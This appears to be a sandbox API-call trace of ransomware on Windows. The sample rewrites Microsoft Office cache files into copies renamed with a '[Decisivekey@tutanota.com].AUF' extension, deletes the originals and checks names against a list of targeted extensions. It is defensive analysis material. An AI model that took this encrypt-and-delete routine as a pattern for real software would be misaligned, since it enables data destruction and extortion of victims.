GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=913) returned 1 [0204.650] CloseHandle (hObject=0x1ac) returned 1 [0204.650] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0204.650] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.651] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0204.651] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.651] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.651] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0204.651] GetLastError () returned 0x0 [0204.651] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x391, lpOverlapped=0x0) returned 1 [0204.841] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0204.841] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.841] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xee, lpOverlapped=0x0) returned 1 [0204.841] SetEndOfFile (hFile=0x1b0) returned 1 [0204.842] CloseHandle (hObject=0x1b0) returned 1 [0204.842] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.842] SetEndOfFile (hFile=0x1ac) returned 1 [0204.842] CloseHandle (hObject=0x1ac) returned 1 [0204.843] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.843] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0204.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.843] lstrlenW (lpString=".doc") returned 4 [0204.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.843] lstrlenW (lpString=".docx") returned 5 [0204.843] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.843] lstrlenW (lpString=".pdf") returned 4 [0204.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.843] lstrlenW (lpString=".xls") returned 4 [0204.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.843] lstrlenW (lpString=".xlsx") returned 5 [0204.843] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.843] lstrlenW (lpString=".ppt") returned 4 [0204.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.843] lstrlenW (lpString=".zip") returned 4 [0204.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.844] lstrlenW (lpString=".rar") returned 4 [0204.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".bz2") returned 4 [0204.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".7z") returned 3 [0204.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".dbf") returned 4 [0204.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".1cd") returned 4 [0204.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".jpg") returned 4 [0204.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".doc") returned 4 [0204.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".docx") returned 5 [0204.844] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.844] lstrlenW (lpString=".pdf") returned 4 [0204.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".xls") returned 4 [0204.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".xlsx") returned 5 [0204.844] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.844] lstrlenW (lpString=".ppt") returned 4 [0204.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".zip") returned 4 [0204.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.844] lstrlenW (lpString=".rar") returned 4 [0204.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".bz2") returned 4 [0204.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString=".7z") returned 3 [0204.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".dbf") returned 4 [0204.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".1cd") returned 4 [0204.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0204.844] lstrlenW (lpString=".jpg") returned 4 [0204.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.845] lstrcmpiW (lpString1=".chm", lpString2=".AUF") returned 1 [0204.845] lstrlenW (lpString="pss10r.chm") returned 10 [0204.845] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.033] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=27195) returned 1 [0205.033] CloseHandle (hObject=0x194) returned 1 [0205.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0205.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.033] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.033] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0205.034] GetLastError () returned 0x0 [0205.034] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0205.066] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0205.068] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.068] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0205.068] SetEndOfFile (hFile=0x1a8) returned 1 [0205.068] CloseHandle (hObject=0x1a8) returned 1 [0205.068] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.068] SetEndOfFile (hFile=0x194) returned 1 [0205.069] CloseHandle (hObject=0x194) returned 1 [0205.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.070] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0205.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.070] lstrlenW (lpString=".doc") returned 4 [0205.070] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString=".docx") returned 5 [0205.070] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0205.070] lstrlenW (lpString=".pdf") returned 4 [0205.070] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString=".xls") returned 4 [0205.070] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString=".xlsx") returned 5 [0205.070] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0205.070] lstrlenW (lpString=".ppt") returned 4 [0205.070] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.070] lstrlenW (lpString=".zip") returned 4 [0205.070] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString=".rar") returned 4 [0205.070] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString=".bz2") returned 4 [0205.070] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0205.070] lstrlenW (lpString=".7z") returned 3 [0205.070] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0205.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.070] lstrlenW (lpString=".dbf") returned 4 [0205.070] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0205.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.070] lstrlenW (lpString=".1cd") returned 4 [0205.070] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0205.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.070] lstrlenW (lpString=".jpg") returned 4 [0205.070] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.071] lstrlenW (lpString=".doc") returned 4 [0205.071] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString=".docx") returned 5 [0205.071] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0205.071] lstrlenW (lpString=".pdf") returned 4 [0205.071] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString=".xls") returned 4 [0205.071] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString=".xlsx") returned 5 [0205.071] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0205.071] lstrlenW (lpString=".ppt") returned 4 [0205.071] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.071] lstrlenW (lpString=".zip") returned 4 [0205.071] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString=".rar") returned 4 [0205.071] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString=".bz2") returned 4 [0205.071] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0205.071] lstrlenW (lpString=".7z") returned 3 [0205.071] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0205.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.071] lstrlenW (lpString=".dbf") returned 4 [0205.071] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0205.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.071] lstrlenW (lpString=".1cd") returned 4 [0205.071] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0205.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0205.071] lstrlenW (lpString=".jpg") returned 4 [0205.071] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0205.071] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.071] lstrlenW (lpString="AccessMUI.xml") returned 13 [0205.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.073] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1349) returned 1 [0205.073] CloseHandle (hObject=0x194) returned 1 [0205.073] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0205.073] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.073] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.073] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.073] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.073] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0205.073] GetLastError () returned 0x0 [0205.073] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x545, lpOverlapped=0x0) returned 1 [0205.105] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x550, lpOverlapped=0x0) returned 1 [0205.106] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.106] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xee, lpOverlapped=0x0) returned 1 [0205.106] SetEndOfFile (hFile=0x1a8) returned 1 [0205.106] CloseHandle (hObject=0x1a8) returned 1 [0205.106] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.106] SetEndOfFile (hFile=0x194) returned 1 [0205.107] CloseHandle (hObject=0x194) returned 1 [0205.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.107] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0205.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.107] lstrlenW (lpString=".doc") returned 4 [0205.107] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.107] lstrlenW (lpString=".docx") returned 5 [0205.107] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0205.107] lstrlenW (lpString=".pdf") returned 4 [0205.107] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".xls") returned 4 [0205.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".xlsx") returned 5 [0205.108] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0205.108] lstrlenW (lpString=".ppt") returned 4 [0205.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".zip") returned 4 [0205.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.108] lstrlenW (lpString=".rar") returned 4 [0205.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".bz2") returned 4 [0205.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".7z") returned 3 [0205.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".dbf") returned 4 [0205.108] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".1cd") returned 4 [0205.108] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".jpg") returned 4 [0205.108] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".doc") returned 4 [0205.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".docx") returned 5 [0205.108] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0205.108] lstrlenW (lpString=".pdf") returned 4 [0205.108] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".xls") returned 4 [0205.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".xlsx") returned 5 [0205.108] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0205.108] lstrlenW (lpString=".ppt") returned 4 [0205.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".zip") returned 4 [0205.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.108] lstrlenW (lpString=".rar") returned 4 [0205.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".bz2") returned 4 [0205.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.108] lstrlenW (lpString=".7z") returned 3 [0205.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.108] lstrlenW (lpString=".dbf") returned 4 [0205.109] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.109] lstrlenW (lpString=".1cd") 